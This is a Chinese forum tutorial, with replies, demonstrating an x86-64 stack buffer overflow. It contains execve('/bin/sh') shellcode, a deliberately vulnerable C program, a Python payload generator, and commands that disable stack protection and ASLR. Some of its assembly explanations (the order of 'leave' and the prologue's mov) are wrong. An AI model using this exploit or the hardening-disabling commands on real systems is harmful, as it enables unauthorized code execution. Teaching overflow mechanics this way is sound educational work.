吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 22267|回复: 43
上一主题 下一主题
收起左侧

[系统底层] x86架构的内存溢出攻击原理演示(加强对计算机运行原理的理解,说明内存溢出的危害)

  [复制链接]
跳转到指定楼层
楼主
Flyinsky 发表于 2018-12-11 10:32 回帖奖励
本帖最后由 Flyinsky 于 2018-12-17 12:03 编辑

1 本文搬运于我的CSDN blog。
2 第一次发帖,有不合理的地方,希望斑竹直接delete。
3 由于长期拿着各位大大的总结的知识,我深表感激。这里我总结了一个关于软件调试的原理,回馈给大家。




#PS:要转载请注明出处,本人版权所有

PS:这个只是  《  我自己    》理解,如果和你的

原则相冲突,请谅解,勿喷

本文仅用于学习计算机程序运行原理,请不要用作其他违法用途。

前言

内存溢出可以说是我们程序员经常遇到的问题了,但是一般过程中,我们只会处理让程序崩溃的内存溢出,只要程序不崩溃,我们基本不会管的了。这里,我将会演示一下程序内存溢出的严重后果。同时也警示我们自身,写程序一定要逻辑严密一点,不要犯低级错误。(然而我们不可能避免错误,只要没有比较明显的错误即可。)

前置知识(64bit)

汇编中的几个重要指令:

call xxx 等价于:push eip 和 jump xxx
leave 等价于:  pop rbp 和 mov rbp,rsp
ret 等价于 pop eip

栈帧的知识:

参考我之前的文章:(这里就不贴链接了,大家百度栈帧的知识吧,等会儿被人肉了不好)
简单说就是,跳转到一个子过程,会又一片新的内存区域,有三个重要的寄存器rbp,rsp,eip 可以表示和这个区域的属性。看下图:(在调用一个子过程的时候,注意rsp,rbp,eip的变化,新的rsp和rbp的生成,新老rsp和rbp的关系)

注意:每个子调用的完整过程为:这里面包含了所有的rbp,rsp,eip的变化
call sub_call       ; eip入栈,rsp-8
push rbp                 ; rbp 入栈  rsp-8
mov rsp,rbp        ; rsp 赋值给rbp,作为一个新的栈帧开始,rbp为栈底
... ...                    ;这里就是子调用的变量内存分配,rsp-0xN
... ...                         ;其他过程
... ...                    ;其他过程
leave                  ;rbp赋值给rsp, rbp出栈,rsp+8
ret                       ;eip出栈,rsp+8

这样的一个过程,就完成了现场调整执行子调用然后恢复现场的过程。

内存溢出的攻击的简要原理(以上图为例)

x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf,那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN,如果没有做安全的内存使用,我直接写入了0xN+8+8的数据,理论上来说,我就覆盖了上图栈中eip的值,eip存放的是sub_func返回时,要执行Main_Func下一条指令的地址,也就是说,我控制了,sub_func返回时要执行的地址内容,那么通过精心构造的内容,如果写入到buf,就可能执行我们想要的代码。
那么是不是内存溢出很简单呢?操作系统难道那么不安全吗?

现代内存堆栈保护技术出现

1 编译器堆栈检测
2 堆栈不可执行
3 地址空间随机化等等
这些东西都可以提高内存溢出的难度,我是一个小白,为了理解内存攻击,我得把他们关闭了。

内存溢出攻击实例

1 准备一份shellcode,就是上面替换eip后,你想要执行的一份代码。我这里选择,生成一个shell。

对应的16进制:
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
c版本

//       int execve(const char *filename, char *const argv[],char *const envp[]);
const char * a = "/bin/sh";
char * b[1];
b[0] = a;
execve(a, b, NULL);

汇编版本(64位,注意)

    xor eax, eax ; 清空eax
    mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码
    neg rbx;对rbx求补码,rbx=0x6873276e69622f,代表hs/nib/
    push rbx;把/bin/sh的地址放入栈,rsp-8
    push rsp;rsp放入堆栈,rsp-8
    pop rdi;把/bin/sh的地址给rdi,rdi作为作为参数参数的第一个参数,在64系统中,rsp+8
    cdq;把edx的每一位设置为eax的最高位,就是edx清零,然后把edx作为eax的高位。
    push rdx;内存地址高8字节rsp-8
    push rdi;内存地址低8字节,指向/bin/sh,rsp-8
    push rsp;保存rsp,rsp-8
    pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8
    mov al, 0x3b;设置系统调用号0x3b execv
    syscall;系统调用

64位系统,execve的系统调用号为59,也就是0x3b

2 实际实例攻击

异常代码

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

void overflow(char * msg){

        char buf[10];
        memcpy(buf, msg, 100);
        printf("buf out: %s", buf);
}

int main(int argc, char * argv[]){

        char main_buf[100];
        int f = open(argv[1], O_RDONLY);
        read(f, main_buf, 100);
        overflow(main_buf);
        return 0;
}

exp 辅助生产工具,生成exp文件,python exp.py>msg
exp.py 文件内容

#!/usr/bin/python

import struct
from subprocess import call

addr=0x7fffffffDE5B

s_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

buf="M"*10
buf+="M"*8
buf+=struct.pack("<I",0xffffde30) #main rbp
buf+=struct.pack("<I",0x7fff) #main rbp
buf+=s_c
def str_to_hex(s):
        return ''.join([hex(ord(c)).replace('0x', '\\x') for c in s])
print buf
#call(["./a.out",buf])

编译方法,去掉堆栈保护,设置堆栈可执行

gcc test.cpp -l stdc++ -z execstack -fno-stack-protector 

关闭地址随机化(必须root用户情况下):
echo 0 > /proc/sys/kernel/randomize_va_space

效果:

至此我们成功拿到了shell,可以做一些简单的shell操作等等。

以上实例分析

根据上文overflow源码分析得出,我们溢出了90个字节,由于程序员的不小心。这100个字节是来至于文件的,我们可以构建一个特殊的文件来达到我们的目的。

根据exp助手,我们可以生成一个创建shell的exp文件。
根据exp助手源码可知:
1-10字节为M     ------    这对应我们申请的buf内容
11-18字节为M     ------   这对应在子过程调用中,push rbp时,保存的原有的rbp
19-26字节为eip在栈中的位置   ------ 这就是我们要修改当overflow返回时,我要计算机执行的我的代码的地方,也就是shellcode中的xor eax,eax
27-54字节即为创建shell的shellcode

如果我们在overflow中申请的buf地址为N,那么:
N~N+0xa 为buf的内存空间
N+0xb~N+0x12 为原rbp保存的位置
N+0x13~N+0x1a 为我们需要控制的eip的值,需要让他指定到我们想要的地址去,明显我们想要的地址就是N+0x1b,也就是我们创建shell的汇编存放的地方
N+0x1b~N+0x36 为我们存放创建shell汇编代码的存放的地方。

从上述分析可知:
我们需要改的就是N+0x13~N+0x1a内存中存放的值,改为N+0x1b.

在操作系统中:当我们关闭的地址虚拟化后,我们的程序在开机的过程中,每次运行的时候,基地址的一致的,这样我们每次运行的时候,我们的buf地址是一致,当我们获取了buf地址后,即可生成exp文件。

我们通过core文件和gdb来找到buf的地址如下图:
先运行./a.out msg
这个时候msg的地址可以乱填,反正会段错误。得到core文件
在运行 gdb --core=core
这个时候查看几个寄存器的值,唯一的有效值是rsp的值如下图:

通过分析,发现是执行完leave 指令,并且执行完ret指令,eip中的值为我随意设定的一个乱的值。
这里我们就知道,rsp的值即为我们的想要的shellcode,rsp的地址即为我们想要的地址,把这个地址放到exp助手里面去,然后重新生成exp文件,然后就得到了我们想要的结果。

总结

1 这告诉我们程序员,在写代码时,特别是有重大用处的程序时,要注意内存溢出问题,不可能有那么明显的溢出,但是有很多隐藏溢出地方,这个需要大家注意。
2 计算机还是一如既往的笨。
3这是最经典的内存溢出攻击方式,现代的溢出攻击万变不离其宗。

本文主要是为了学习计算机中程序执行的原理,请不要用于非法用途。

PS:请尊重原创,不喜勿喷

PS:要转载请注明出处,本人版权所有.

有问题请留言,看到后我会第一时间回复

免费评分

参与人数 23威望 +1 吾爱币 +29 热心值 +21 收起 理由
Proj2Dating + 1 我很赞同!
吹啊吹这风吹 + 1 + 1 用心讨论,共获提升!
尘世迷途小书童 + 1 + 1 谢谢@Thanks!
myhexdon254 + 1 我很赞同!
fsrank + 1 + 1 谢谢@Thanks!
lookerJ + 1 谢谢@Thanks!
s1158627362 + 1 + 1 我很赞同!
afanti + 1 + 1 谢谢@Thanks!
LEP + 1 + 1 谢谢@Thanks!
ChaseX + 1 + 1 我很赞同!
土味挖掘机 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
破解project + 1 鼓励转贴优秀软件安全工具和文档!
静叶流云 + 1 + 1 用心讨论,共获提升!
March + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jgs + 1 + 1 谢谢@Thanks!
Hmily + 1 + 7 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
laodan + 2 + 1 鼓励转贴优秀软件安全工具和文档!
yaoyao7 + 1 + 1 用心讨论,共获提升!
wangyujie96 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiaoxiezi + 1 热心回复!
羽月莉音 + 1 + 1 我很赞同!
微笑嘻嘻 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
挥汗如雨 + 2 + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
 楼主| Flyinsky 发表于 2020-1-16 16:43 |楼主
www6125412 发表于 2019-9-12 19:56
能否在现有的基础上实现一个远程shell而非本地shell

基本都是一样的原理,首先你要得到远程目标主机的shell,然后提权,远程的话,方法就多了,比如常见的ssh以及自己私有的工具
推荐
www6125412 发表于 2020-1-25 18:51
Flyinsky 发表于 2020-1-16 16:43
基本都是一样的原理,首先你要得到远程目标主机的shell,然后提权,远程的话,方法就多了,比如常见的ssh ...

如果对方主机是个人PC而不是服务器要怎么办
沙发
挥汗如雨 发表于 2018-12-11 10:51
3#
luxiaole 发表于 2018-12-11 11:04
纯支持,感谢分享,学习啦
4#
liu1024 发表于 2018-12-11 11:08
稍后来学习下,谢谢楼主了
5#
tanhaibigg 发表于 2018-12-11 11:12
学习了。多谢楼主的经验总结。
6#
1000Y 发表于 2018-12-11 11:40
这个厉害!学习了!
7#
黑夜渐暖 发表于 2018-12-11 11:40
万变不离其宗
8#
fr33m4n 发表于 2018-12-11 11:44
网站价值比代码高
9#
 楼主| Flyinsky 发表于 2018-12-11 11:54 |楼主

谢谢啦,这个该死的输入法
10#
 楼主| Flyinsky 发表于 2018-12-11 11:55 |楼主
fr33m4n 发表于 2018-12-11 11:44
网站价值比代码高

吓得我赶紧屏蔽了。还好没多少人看到
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 22:39

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表